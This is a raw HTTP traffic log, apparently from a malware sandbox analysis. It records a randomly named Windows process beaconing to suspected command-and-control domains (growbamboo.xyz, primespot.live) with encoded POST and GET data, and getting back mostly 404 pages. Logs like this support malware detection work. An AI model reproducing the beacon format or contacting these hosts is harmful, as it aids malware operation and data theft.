Dec 12, 2024 00:19:52.711100101 CET	1236	IN	Data Raw: 33 51 46 59 51 49 52 63 49 33 43 71 32 5a 4e 6b 33 74 59 64 75 75 6e 50 78 49 70 75 73 38 4a 6f 4c 69 35 65 31 75 32 79 57 4e 31 6b 78 64 33 55 56 39 56 58 41 64 76 6e 6a 6e 74 49 6b 73 68 31 56 33 42 53 65 2f 44 49 55 49 48 42 64 52 43 4d 4d 56 Data Ascii: 3QFYQIRcI3Cq2ZNk3tYduunPxIpus8JoLi5e1u2yWN1kxd3UV9VXAdvnjntIksh1V3BSe/DIUIHBdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFl
Dec 12, 2024 00:19:52.711468935 CET	485	IN	Data Raw: 62 63 6e 78 70 68 49 45 50 50 6e 68 58 63 39 58 6b 52 4e 75 48 68 33 43 77 38 4a 58 74 65 65 43 56 37 5a 6a 67 2f 77 75 61 38 59 47 6c 33 58 76 44 55 50 79 2f 63 2f 41 76 64 34 2f 68 4e 44 53 71 65 67 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 Data Ascii: bcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==); } .container { width: 70%; } .status-code { font-size: 900%; }
Dec 12, 2024 00:19:52.711486101 CET	1236	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 25www.growbamboo.xyz's <a href="mailto
Dec 12, 2024 00:19:52.711493969 CET	456	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 Data Ascii: class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49941	173.208.249.155	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:54.223640919 CET	1795	OUT	POST /1h7d/ HTTP/1.1 Host: www.growbamboo.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.growbamboo.xyz Referer: http://www.growbamboo.xyz/1h7d/ Content-Length: 1243 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 4c 6a 39 30 6d 49 67 56 32 36 46 50 55 78 36 65 33 75 55 6b 45 69 76 31 6c 4a 75 36 69 64 4a 53 33 34 75 6c 6e 61 4a 49 57 75 39 70 77 75 76 6a 73 51 70 46 43 6e 45 34 6b 57 5a 55 4c 51 5a 30 56 38 78 31 35 47 67 47 6f 32 4b 77 4d 30 35 56 72 41 54 53 33 47 42 66 75 32 59 52 6f 53 30 54 41 48 72 39 30 33 73 57 69 67 45 75 69 6b 7a 72 39 39 55 4c 33 79 4d 67 5a 51 75 30 54 75 4e 69 41 54 79 45 4a 59 4f 78 6e 2f 71 2b 74 30 57 55 4b 71 6d 55 34 44 72 38 4c 42 41 51 6e 47 6d 55 2f 76 67 66 35 37 42 58 34 41 54 77 6c 36 50 66 66 67 4b 34 68 69 44 63 32 43 73 36 62 4d 79 35 6b 52 74 34 49 49 33 6c 37 33 36 73 68 69 47 48 43 33 6f 35 42 70 68 63 75 4a 59 51 37 39 56 49 6a 2b 4e 59 61 4e 4e 49 6d 58 4f 55 4f 6f 4d 57 61 76 71 48 74 33 64 4e 4f 47 41 4a 75 6d 44 7a 68 77 47 4a 39 6d 48 43 55 35 56 52 52 4d 30 43 4a 4a 2b 6d 5a 2b 48 79 4c 4f 30 70 52 36 68 76 5a 38 32 6b 45 69 4c 7a 46 6b 63 2b 45 7a 34 32 6d 47 4b 70 7a 31 4f 4b 45 74 76 35 77 79 46 65 6f 64 4e 65 63 78 67 33 43 32 43 [TRUNCATED] Data Ascii: LDVlCz=Lj90mIgV26FPUx6e3uUkEiv1lJu6idJS34ulnaJIWu9pwuvjsQpFCnE4kWZULQZ0V8x15GgGo2KwM05VrATS3GBfu2YRoS0TAHr903sWigEuikzr99UL3yMgZQu0TuNiATyEJYOxn/q+t0WUKqmU4Dr8LBAQnGmU/vgf57BX4ATwl6PffgK4hiDc2Cs6bMy5kRt4II3l736shiGHC3o5BphcuJYQ79VIj+NYaNNImXOUOoMWavqHt3dNOGAJumDzhwGJ9mHCU5VRRM0CJJ+mZ+HyLO0pR6hvZ82kEiLzFkc+Ez42mGKpz1OKEtv5wyFeodNecxg3C2ChUASoMvfWM1+4qC7wrLGdugjJ7uyVaUbcUomx/xoO5J7qRYsHgW58AxhwUUv1mhlHVgI461lto+ZDQ20phNaaqBWfYuc+e9ffyYjLCeiqMVI9BAFgLmbC46XP14uUTxfvEvZTDTb9OGvQ0OMyYgVXoTO6V5YhLECejhV0X75PVUeTk3l0lEh2HTjBoq9ww9FOMfJ2C4DZY3iZ5qYEoJkwUc6RGzbpuOqH6HfChGs1Vr1+2QQwPWWF0CQDStTLevtTg3jUdfuKxp7ssoaD7ILsoES2qdIPbLtTJTJMAtbliZ++He3tsiBMPYWqjWgCxMtyXzropm7xFxMUgqvW9TpXv5nYGSRltz/oT4Teu0YvxQBKPf0X7gJXWFI1AZAe+6WVrjoCRvVBT9D2kot1XOKBJHrYggQP9fAwOTQDzCbSHCVsYNeZi6M6PVx8t6pdVRs0jWhUhsfWMyPCuzJX1+/xC8CtHrLrWg2OPADKkHpcMqpnW1AWlOxXVBvyrB6XgrVOTUvTQrzLASQB/1XuJaf6q3Sby5NX2sSfT/iAiShMCDpdDFQlAw5L+NYUxi3l8JX5WvF/reRa4zHEn8G4+m80X0QVx+t7kM5HkeObvCoPrcFiK3v1puuv2BTkkz7awxwttoK3Zdk5/MU5H3dnjOjAyH4IIsJhy0ps9 [TRUNCATED]
Dec 12, 2024 00:19:55.398338079 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:19:55 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 [TRUNCATED] Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CC
Dec 12, 2024 00:19:55.398406982 CET	224	IN	Data Raw: 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: CCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text {
Dec 12, 2024 00:19:55.398417950 CET	1236	IN	Data Raw: 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 61 64 64 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 Data Ascii: color: #000000; } .additional-info { background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; }
Dec 12, 2024 00:19:55.398570061 CET	1236	IN	Data Raw: 72 65 61 6b 3a 20 62 72 65 61 6b 2d 61 6c 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b Data Ascii: reak: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { te
Dec 12, 2024 00:19:55.398581028 CET	1236	IN	Data Raw: 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 73 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 Data Ascii: margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px;
Dec 12, 2024 00:19:55.398802996 CET	1236	IN	Data Raw: 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 44 6a 31 78 64 Data Ascii: RFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGSD6bxI
Dec 12, 2024 00:19:55.398821115 CET	1236	IN	Data Raw: 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 65 32 62 39 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f Data Ascii: K0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpC
Dec 12, 2024 00:19:55.398832083 CET	552	IN	Data Raw: 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 61 79 49 53 4c 57 6b 51 38 77 6f 42 4b 79 52 Data Ascii: HvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrsty
Dec 12, 2024 00:19:55.398842096 CET	1236	IN	Data Raw: 78 38 70 39 2f 2f 49 69 30 71 63 33 51 69 36 43 6d 41 55 31 64 45 70 44 39 53 41 31 74 54 39 38 2f 47 5a 61 64 76 66 32 39 47 78 50 59 50 68 39 6e 2b 4d 6a 41 75 52 4e 67 2f 48 63 34 57 59 6d 38 57 6a 54 30 70 41 42 4e 42 37 57 6b 41 62 38 31 6b Data Ascii: x8p9//Ii0qc3Qi6CmAU1dEpD9SA1tT98/GZadvf29GxPYPh9n+MjAuRNg/Hc4WYm8WjT0pABNB7WkAb81kz8fEo5Na0rAQYU8KQEWEPSkAaafnRPiXEGHPCCbcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==); } .contain
Dec 12, 2024 00:19:55.398852110 CET	1061	IN	Data Raw: 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 64 64 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="container"> <div class="additional-info-items"> <ul> <li> <img src="/img-sys/server_misconfigured.png" class="info-image" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49951	173.208.249.155	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:19:56.886972904 CET	505	OUT	GET /1h7d/?LDVlCz=GhVUl+BMvYJ5ZB/G+p82cySXkvn+9vYw5d6SxNhFTeZQzODCqlJRcn8j1xBkKA1XTq1Cn2kO8HKqHDF15Seo3gBfn1d442lRHkqyo3MG/ycD+W3sgPB+1QYdeAS4c5YMDQ==&NdLhG=cLCtFnqPUvutTbuP HTTP/1.1 Host: www.growbamboo.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36
Dec 12, 2024 00:19:58.044935942 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:19:57 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 [TRUNCATED] Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CC
Dec 12, 2024 00:19:58.045036077 CET	1236	IN	Data Raw: 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 Data Ascii: CCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
Dec 12, 2024 00:19:58.045053959 CET	1236	IN	Data Raw: 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 Data Ascii: itional-info-items ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all;
Dec 12, 2024 00:19:58.045278072 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .contact-info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0
Dec 12, 2024 00:19:58.045295000 CET	1236	IN	Data Raw: 4e 50 78 46 6b 62 2b 43 45 59 68 48 43 66 6d 4a 36 44 51 53 68 66 45 47 66 4d 74 37 31 46 4f 50 67 70 45 31 50 48 4f 4d 54 45 59 38 6f 5a 33 79 43 72 32 55 74 69 49 6e 71 45 66 74 6a 33 69 4c 4d 31 38 41 66 73 75 2f 78 4b 76 39 42 34 51 55 7a 73 Data Ascii: NPxFkb+CEYhHCfmJ6DQShfEGfMt71FOPgpE1PHOMTEY8oZ3yCr2UtiInqEftj3iLM18Afsu/xKv9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9Y
Dec 12, 2024 00:19:58.045310974 CET	1236	IN	Data Raw: 4d 78 77 72 73 65 38 58 73 54 61 4d 6f 52 49 6f 43 61 5a 6d 67 33 42 51 67 4c 71 72 48 56 43 42 75 33 71 68 57 33 2b 41 41 4f 68 77 70 35 32 51 49 41 66 51 6b 41 77 6f 44 48 4b 7a 66 4e 45 59 63 6b 34 5a 50 70 35 71 68 35 43 70 34 56 46 69 4c 38 Data Ascii: Mxwrse8XsTaMoRIoCaZmg3BQgLqrHVCBu3qhW3+AAOhwp52QIAfQkAwoDHKzfNEYck4ZPp5qh5Cp4VFiL8WM/Cl8SF4pgthvtHm4qQUIiQdY+5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hP
Dec 12, 2024 00:19:58.045331001 CET	776	IN	Data Raw: 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 48 2b 55 6c 35 58 49 2f 34 76 6f 63 36 72 5a 6b 41 33 42 70 76 33 6e 6a 66 53 2f 6e 68 52 37 38 31 45 35 34 4e 36 74 34 4f 65 57 78 51 78 75 6b 6e Data Ascii: DBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5Sf
Dec 12, 2024 00:19:58.045689106 CET	1236	IN	Data Raw: 78 38 70 39 2f 2f 49 69 30 71 63 33 51 69 36 43 6d 41 55 31 64 45 70 44 39 53 41 31 74 54 39 38 2f 47 5a 61 64 76 66 32 39 47 78 50 59 50 68 39 6e 2b 4d 6a 41 75 52 4e 67 2f 48 63 34 57 59 6d 38 57 6a 54 30 70 41 42 4e 42 37 57 6b 41 62 38 31 6b Data Ascii: x8p9//Ii0qc3Qi6CmAU1dEpD9SA1tT98/GZadvf29GxPYPh9n+MjAuRNg/Hc4WYm8WjT0pABNB7WkAb81kz8fEo5Na0rAQYU8KQEWEPSkAaafnRPiXEGHPCCbcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==); } .contain
Dec 12, 2024 00:19:58.045814991 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 72 65 61 73 6f 6e 2d 74 65 78 74 22 3e 0d 0a 31 61 63 0d 0a 54 68 65 20 73 65 72 76 65 72 20 63 61 6e 6e 6f 74 20 66 69 6e 64 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 70 61 67 Data Ascii: <p class="reason-text">1acThe server cannot find the requested page:</p> </div> <section class="additional-info"> <div class="container"> <div class="additional-info-items">
Dec 12, 2024 00:19:58.045830011 CET	161	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 70 79 72 69 67 68 74 22 3e 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 30 31 36 20 63 50 61 6e 65 6c 2c 20 49 6e 63 2e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 Data Ascii: <div class="copyright">Copyright 2016 cPanel, Inc.</div> </a> </div> </footer> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49967	209.74.79.42	80	5884	C:\Program Files (x86)\deHCFxEMnnsbRAehKEUTseKmWUMFTDDxOkYBHisCnKIRLAVVRVZggXKOY\pNkvbgLNQpIoyz.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 00:20:03.762929916 CET	758	OUT	POST /icu6/ HTTP/1.1 Host: www.primespot.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.primespot.live Referer: http://www.primespot.live/icu6/ Content-Length: 207 Connection: close Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.2.1369.1414 Safari/537.36 Data Raw: 4c 44 56 6c 43 7a 3d 32 34 65 77 61 43 32 49 32 50 31 7a 63 63 69 4f 57 4e 6a 76 62 48 52 51 59 42 59 6d 2f 56 63 71 7a 6b 78 73 54 52 51 46 73 41 4e 79 62 6c 51 41 34 53 47 30 67 78 6f 6f 73 73 72 31 65 4e 76 77 36 64 71 53 71 58 79 67 43 49 72 47 4d 53 58 31 52 79 36 52 42 6a 64 78 73 58 63 30 69 49 62 4c 58 78 58 51 47 63 36 33 69 70 6b 75 5a 47 4f 44 35 75 73 72 55 69 34 52 77 73 62 45 6a 47 79 57 45 43 51 2f 73 6c 71 32 35 6d 73 4b 6d 70 70 66 68 5a 70 4f 55 38 5a 5a 4b 54 78 2f 4f 76 75 52 6f 48 4a 70 47 55 4e 4a 30 4a 2b 44 69 73 73 57 72 43 67 4a 57 45 47 42 69 36 35 45 2b 79 71 52 33 4b 33 49 73 4e 51 3d Data Ascii: LDVlCz=24ewaC2I2P1zcciOWNjvbHRQYBYm/VcqzkxsTRQFsANyblQA4SG0gxoossr1eNvw6dqSqXygCIrGMSX1Ry6RBjdxsXc0iIbLXxXQGc63ipkuZGOD5usrUi4RwsbEjGyWECQ/slq25msKmppfhZpOU8ZZKTx/OvuRoHJpGUNJ0J+DissWrCgJWEGBi65E+yqR3K3IsNQ=
Dec 12, 2024 00:20:04.992533922 CET	533	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 23:20:04 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 